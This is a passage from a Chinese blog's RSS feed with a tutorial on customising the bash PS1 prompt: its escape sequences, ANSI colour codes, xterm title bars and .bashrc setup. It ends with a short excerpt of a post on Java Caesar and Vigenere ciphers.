margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　在上面的示例中，我们使用了专用的用反斜杠转义的字符序列，藉此通知 bash 将用户名和主机名插入提示行中，当这些转义字符序列出现在 PS1 变量中时，bash 就会用特定的值替换它们。我们使用了序列 "\u"（表示用户名）和 "\H"（表示主机名的第一部分）。下面是 bash 可识别的全部专用序列的完整列表（您可以在 bash man page 的 "PROMPTING" 部分找到这个列表）：</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　序列说明</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　\aASCII 响铃字符(也可以键入 \007)</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　\d"Wed Sep 06" 格式的日期</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　\eASCII 转义字符(也可以键入 \033)</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　\h主机名的第一部分(如 "mybox")</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　\H主机的全称(如 "mybox.mydomain.com")</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　\j在此 shell 中通过按 ^Z 挂起的进程数</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　\l此 shell 的终端设备名(如 "ttyp4")</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　\n换行符</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　\r回车符</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　\sshell 的名称(如 "bash")</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　\t24 小时制时间(如 "23:01:01")</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　\T12 小时制时间(如 "11:01:01")<br /><div><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">　\@带有 am/pm 的 12 小时制时间</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">　　\u用户名</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">　　\vbash 的版本(如 2.04)</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">　　\VBash 版本(包括补丁级别) ?/td&gt;</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">　　\w当前工作目录(如 "/home/drobbins")</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">　　\W当前工作目录的&#8220;基名 (basename)&#8221;(如 "drobbins")</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">　　\!当前命令在历史缓冲区中的位置</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">　　\#命令编号(只要您键入内容，它就会在每次提示时累加)</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">　　\$如果您不是超级用户 (root)，则插入一个 "$";如果您是超级用户，则显示一个 "#"</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">　　\xxx插入一个用三位数 xxx(用零代替未使用的数字，如 "\007")表示的 ASCII 字符</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">　　\\反斜杠</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">　　\[这个序列应该出现在不移动光标的字符序列(如颜色转义序列)之前。它使 bash 能够正确计算自动换行。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">　　\]这个序列应该出现在非打印字符序列之后。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">　　这样，您已经知道了 bash 中用反斜杠转义的全部专用序列。请稍微演练一下这些序列，以对它们的工作方式获得一些感性认识。在您做了一些测试之后，下面开始添加颜色。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">　　彩色化</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">　　添加颜色相当容易;第一步是设计不带颜色的提示行。然后，我们所要做的只是添加终端(而不是 bash)可识别的专用转义序列，以使它以彩色显示文本的某些部分。标准 Linux 终端和 X 终端允许您设置前景(文字)颜色和背景颜色，如果需要，还可以启用 "bold" 字符。有八种颜色可供我们选择。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">　　颜色是通过在 PS1 中添加专用序列来选择的 -- 基本上是夹在 "\e["(转义开方括号)和 "m" 之间数字值。如果指定一个以上的数字代码，则用分号将它们分开。下面是一个颜色代码示例：</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">　　"\e[0m"</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">　　如果将数字代码指定为零，则它就会通知终端将前景、背景和加粗设置重置为它们的默认值。您可能会在在提示行结束时使用这个代码，以使您键入的文字成为非彩色的。现在，让我们看一下这些颜色代码。请注意下面的抓屏结果：</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">　　颜色表</p><p align="center" style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "><a href="http://www.51testing.com/batch.download.php?aid=29005" target="_blank" style="word-break: break-all; color: #333333; text-decoration: none; "><span class="Apple-style-span" style="line-height: normal !important; border-width: initial; border-color: initial; "><img border="0" src="http://www.51testing.com/attachments/2011/11/346836_201111030941581AjWY.gif" style="word-break: break-all; list-style-type: none; list-style-position: outside; list-style-image: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; max-width: 500px; "  alt="" /></span><br /></a><div><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">要使用这个表，首先请查找您要使用的颜色，然后查找对应的前景编号 (30-37) 和背景编号 (40-47)。例如，如果您喜欢黑底绿字，则可将编号分别设为 32 和 40。然后打开您的提示行定义并在其中添加适当的颜色代码。下面的定义：</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">　　export PS1="\w&gt; "</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">　　变为：</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">　　export PS1="\e[32;40m\w&gt; "</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">　　到现在为止，提示行尽管已经很不错了，但仍不太完美。在 bash 显示出工作目录以后，我们需要使用 "\e[0m" 序列将颜色重新设置为正常值。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">　　export PS1="\e[32;40m\w&gt; \e[0m"</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">　　这个定义将显示一个漂亮的绿色提示行，但我们仍需要做一些扫尾工作。我们不需要包括 "40" 这个背景颜色设置，因为它将背景设置为黑色，而黑色是默认颜色。此外，绿色还很暗;我们通过添加一个 "1" 颜色代码来修正这个问题，这将启用更亮的加粗文字。除了这个修改之外，我们还需要将全部非打印字符用专用的 bash 转义序列 "\[" 和 "\]" 括起来。这两个序列通知 bash，被括起来的字符不占用行上的任何空间，这样就使自动换行能够继续正常工作。没有这两个转义序列，尽管您有了一个非常漂亮的提示行，但是如果您键入的命令恰好到达终端的最右端，就会造成显示混乱。下面是我们最终的提示行：</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">　　export PS1="\[\e[32;1m\]\w&gt; \[\e[0m\]"</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">　　别担心在同一个提示行中使用几种颜色，就像下面这样：</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">　　export PS1="\[\e[36;1m\]\u@\[\e[32;1m\]\H&gt; \[\e[0m\]"</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">　　Xterm 中的乐趣</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">　　我已说明了如何在提示行中添加信息和颜色，但您还可以更进一步。您可以通过在提示行中添加专用代码来使 X 终端(如 rxvt 或 aterm)的标题栏得到动态更新。您所要做的只是将下面的序列添加到您的 PS1 提示行中：</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">　　"\e]2;titlebar\a"</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">　　只须用您希望其出现在 xterm 标题栏中的文字替换子串 "titlebar" 即可，现在已经一切就绪了!不必使用静态文字;您可以将 bash 转义序列插入标题栏中。请查看下面这个示例，它将用户名、主机名和当前工作目录显示在标题栏中，并定义了一个简短、明亮的绿色提示行：</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">　　export PS1="\[\e]2;\u@\H \w\a\e[32;1m\]&gt;\[\e[0m\] "</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">　　这就是我在上面的抓屏结果中所用的那个提示行。我喜欢这个提示行，因为它将全部信息显示在标题栏上，而不是显示在终端上，终端对一行可以显示多少字符有限制。顺便提一句，确保用 "\[" 和 "\]" 将您的标题栏序列括起来(因为就终端而言，这个序列是非打印序列)。将大量信息放在标题栏中的问题是，如果您使用非图形终端(如系统控制台)，则看不到这些信息。为了解决这个问题，可以在您的 .bashrc 中添加以下几行：</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">　　if [ "$TERM" = "linux" ] then #we're on the system console or maybe telnetting in export PS1="\[\e[32;1m\]\u@\H &gt; \[\e[0m\]" else #we're not on the console, assume an xterm export PS1="\[\e]2;\u@\H \w\a\e[32;1m\]&gt;\[\e[0m\] " fi</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">　　这个 bash 条件语句将根据当前的终端设置动态设置提示行。为了获得一致性，您一定希望配置您的 ~/.bash_profile，以便它在启动时搜索 (source) 您的 ~/.bashrc。确保您的 ~/.bash_profile 文件中有以下这样一行：</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">　　source ~/.bashrc</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">　　这样，无论您开启一个登录 shell 还是一个非登录 shell，都会获得同样的提示行。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">　　好了，您已掌握了提示行魔术。现在尽情享受一下，制作一个漂亮的彩色提示行吧！</p></div><a href="http://www.51testing.com/batch.download.php?aid=29005" target="_blank"></a></p></div></p></div><img src ="http://www.blogjava.net/qileilove/aggbug/363181.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2011-11-08 15:39 <a href="http://www.blogjava.net/qileilove/archive/2011/11/08/363181.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Java之Caesar与Vigenere实现</title><link>http://www.blogjava.net/qileilove/archive/2011/11/07/363037.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 07 Nov 2011 02:32:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2011/11/07/363037.html</guid><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 1、背景介绍　　话说目前做所谓&#8220;企业&#8221;开发的语言基本就集中在运用.Net和J2EE上了。又话说，在下很不幸又和Java&#8220;同流合污&#8221;了一把。现在回想起来，真是感慨万千啊～遥想公瑾当年，小乔初嫁了，雄姿英发，羽扇纶巾，谈笑间，强虏灰飞烟灭。～　　额，下面插播一下正题。其实，目前国内用Java做真正的&#8220;企业级&#8221;得其实并不是很多，绝大...&nbsp;&nbsp;<a href='http://www.blogjava.net/qileilove/archive/2011/11/07/363037.html'>阅读全文</a><img src ="http://www.blogjava.net/qileilove/aggbug/363037.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2011-11-07 10:32 <a href="http://www.blogjava.net/qileilove/archive/2011/11/07/363037.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>